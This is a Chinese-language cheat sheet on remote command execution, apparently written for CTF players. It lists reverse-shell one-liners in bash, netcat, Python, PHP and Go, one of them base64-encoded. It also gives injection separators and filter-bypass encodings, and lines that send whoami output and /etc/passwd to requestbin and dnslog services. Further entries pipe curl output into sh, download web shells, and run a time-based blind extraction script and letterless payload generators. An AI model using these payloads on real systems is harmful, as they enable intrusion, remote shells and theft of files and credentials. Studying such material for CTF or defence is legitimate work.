远程命令执行/远程代码执行 (Remote Command/Code Execute, RCE) 常用命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 cat/tac/more/less/head/tail/nl/od/uniq grep test flag.php php /flag php -t / -r "include('/flag');" sh /flag 2>&1 sed p du -a . chgrp -v -R tar cvf xxx.tar . ls > xxx ls | tee xxx script -a xxx; ls; exit ; echo -e "%23!/bin/sh\nwhile read line\ndo\necho \$line\ndone < /flag" > ../../../read curl [IP] | sh
命令分隔符 1 2 3 4 5 ping x.x.x.x;ls ping x.x.x.x|ls ping x.x.x.x&ls ping x.x.x.x||ls ping x.x.x.x&&ls
反弹shell bash:
1 2 3 4 5 6 bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1" bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9tYXg2LmZ1bi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}' nc [IP] [Port] -e /bin/sh nc -lvvnp [Port]
python:
1 2 3 4 5 6 python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("your-ip",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' nc -lvvnp 2333 python3 -c "import pty;pty.spawn('/bin/bash')"
php:
1 php -r '$sock=fsockopen("ip",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
go:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package mainimport ( "fmt" "log" "os/exec" ) func main () { cmd := exec.Command("bash" , "-c" , "bash -i >& /dev/tcp/IP/PORT 0>&1" ) out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n" , string (out)) log.Fatalf("cmd.Run() failed with %s\n" , err) } fmt.Printf("combined out:\n%s\n" , string (out)) }
绕过(bypass) 空格 1 <,<>,%20,%09,$IFS ,${IFS} ,$IFS$9 ,{cat,1.txt}
分号 命令(以pwd为例) 1 a=p;b=wd;$a$b ,p'' wd,p"" wd,p\`\`wd,p\wd,pwd $u ,`echo cHdk|base64 -d\`,echo "707764" |xxd -r -p|bash
关键词(以flag为例) 1 cat fla*,cat f???,cat flag$u ,cat fl"a" g,cat fl'a' g
IP地址 转数字地址:http://www.msxindl.com/tools/ip/ip_num.asp
无回显 1>1 创建文件名为1的空文件
a>1 虽报错,但可创建空文件
ls>1 把ls的内容导入1中
写文件 1 2 curl -o shell.php http://xxxxxx.txt wget -O shell.php http://xxxxxx.txt
利用平台
1 2 3 curl http://requestbin.net/r/1kiej1p1?p=`whoami` curl `cat /etc/passwd|base64`.xxxxxx.dnslog.cn curl bashupload.com -T your_file.txt
参考txt:
http://php.loglog.jp/net/exec.php.txt
https://johannes.homepc.org/packet9.txt
https://metaeventos.net/userfiles/file/p.txt
https://www.cpdc.com.tw/uploads/zhang.txt
盲注(无回显) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport stringimport timeurl='http://localhost.test.php/?c=' dic=string.printable[:-6 ] flag='' for i in range (1 ,50 ): judge=0 for j in dic: now=f'{url} a=$(cat /flag | head -1 | cut -b {i} );if [ $a = {j} ];then sleep 2;fi' start=time.time() r=requests.get(now) end=time.time() if int (end)-int (start) >1 : judge=1 flag+=j print (flag) break if judge==0 : break print (flag)
其他命令:
1 2 3 4 5 if fgrep -c "a" "flag.txt" ; then echo "T" ; else "F" ; fi if ls | fgrep -c "a" ; then echo "T" ; else "F" ; fi [ $(head -c 2 flag.txt | tail -c 1) = 'a' ] [ $(ls | head -c 2 | tail -c 1) = 'a' ]
无字母 / 特殊字符 禁用 ?
八进制(不能解析带有参数的命令)
ls
-> $'\154\163'
禁用 ? 2-9
bash对于整数的表示形式是 [base#]n
的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为 2#100
。
在现有条件下,只要通过位运算 $((1<<1))
构造出2,就可以通过这种形式来构造任意数字了,比方说 ls
就是$(($((1<<1))#10011010)) $(($((1<<1))#10100011))
,但是 $'\154\163'
这种形式可以,而直接运行 $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
会报错。
仔细看报错信息,可以看出,bash是确实把$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
这一串字符串解析为$'\154\163'
这个形式了,但是没有进一步解析,也就是经过bash的处理,这一段字符变成了$'\154\163'
而没有变成ls
。
这里引入bash的一个语法<<<
三个小于号(here-strings),语法:command [args] <<<["]$word["]
,$word
会展开并作为command的stdin。
所以只要把这个字符串作为$0
(bash)命令的stdin,就可以执行命令了,比如:bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
但是这种命令形式不支持带参数的复杂命令,仅支持不带参数的命令,是因为bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析,所以,我们可以通过两次here-strings的方法来解析复杂的带参数命令。
1 2 3 4 5 6 7 8 cmd = 'ls -al' payload = '$0<<<$0\\<\\<\\<\\$\\\'' for c in cmd: payload += f'\\\\$(($((1<<1))#{bin (int (oct (ord (c))[2 :]))[2 :]} ))' payload += '\\\'' print (payload)
仅含 <$!{}()_&
可以尝试通过${!?}
和${!#}
的形式拿到bash
,如果不行,仅能通过定义一个__=$(())
的方式将__
变量的值设置为0,然后通过${!__}
的形式拿到sh
字符。两条命令间通过&&
进行连接。至于为什么是两个下划线,是因为bash的变量命名规范是以下划线或者英文字母开头,可以包含下划线和英文字母数字。
可以通过$(())
取到0,然后对0进行按位取反,可以得到-1,很多个-1进行排列 可以得到-2、-3、-4、-5、-6、-7、-8,然后再按位取反就可以得到1、2、3、4、5、6、7。这样就得到了8进制命令拼接的所有数字。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 cmd = 'ls -al' r = {} x = '$((~$(())))' for i in range (1 ,9 ): r[i] = '$((~$((' +x for j in range (i): r[i] += x r[i] += '))))' r[0 ] = '$(())' payload = '__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\'' for c in cmd: payload += '\\\\' for i in oct (ord (c))[2 :]: payload += r[int (i)] payload += '\\\'' print (payload)
仅含 <$ {}\#()'0
重定向+八进制+数字构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requestsn = dict () n[0 ] = '0' n[1 ] = '${##}' n[2 ] = '$((${##}<<${##}))' n[3 ] = '$(($((${##}<<${##}))#${##}${##}))' n[4 ] = '$((${##}<<$((${##}<<${##}))))' n[5 ] = '$(($((${##}<<${##}))#${##}0${##}))' n[6 ] = '$(($((${##}<<${##}))#${##}${##}0))' n[7 ] = '$(($((${##}<<${##}))#${##}${##}${##}))' f='' def str_to_oct (cmd ): s = "" for t in cmd: o = ('%s' % (oct (ord (t))))[2 :] s+='\\' +o return s def build (cmd ): payload = "$0<<<$0\<\<\<\$\\\'" s = str_to_oct(cmd).split('\\' ) for _ in s[1 :]: payload+="\\\\" for i in _: payload+=n[int (i)] return payload+'\\\'' def get_flag (url,payload ): try : data = {'cmd' :payload} r = requests.post(url,data,timeout=1.5 ) except : return True return False
参考:
安洵杯2020 - Bash-Vino0o0o
34c3 CTF - minbashmaxfun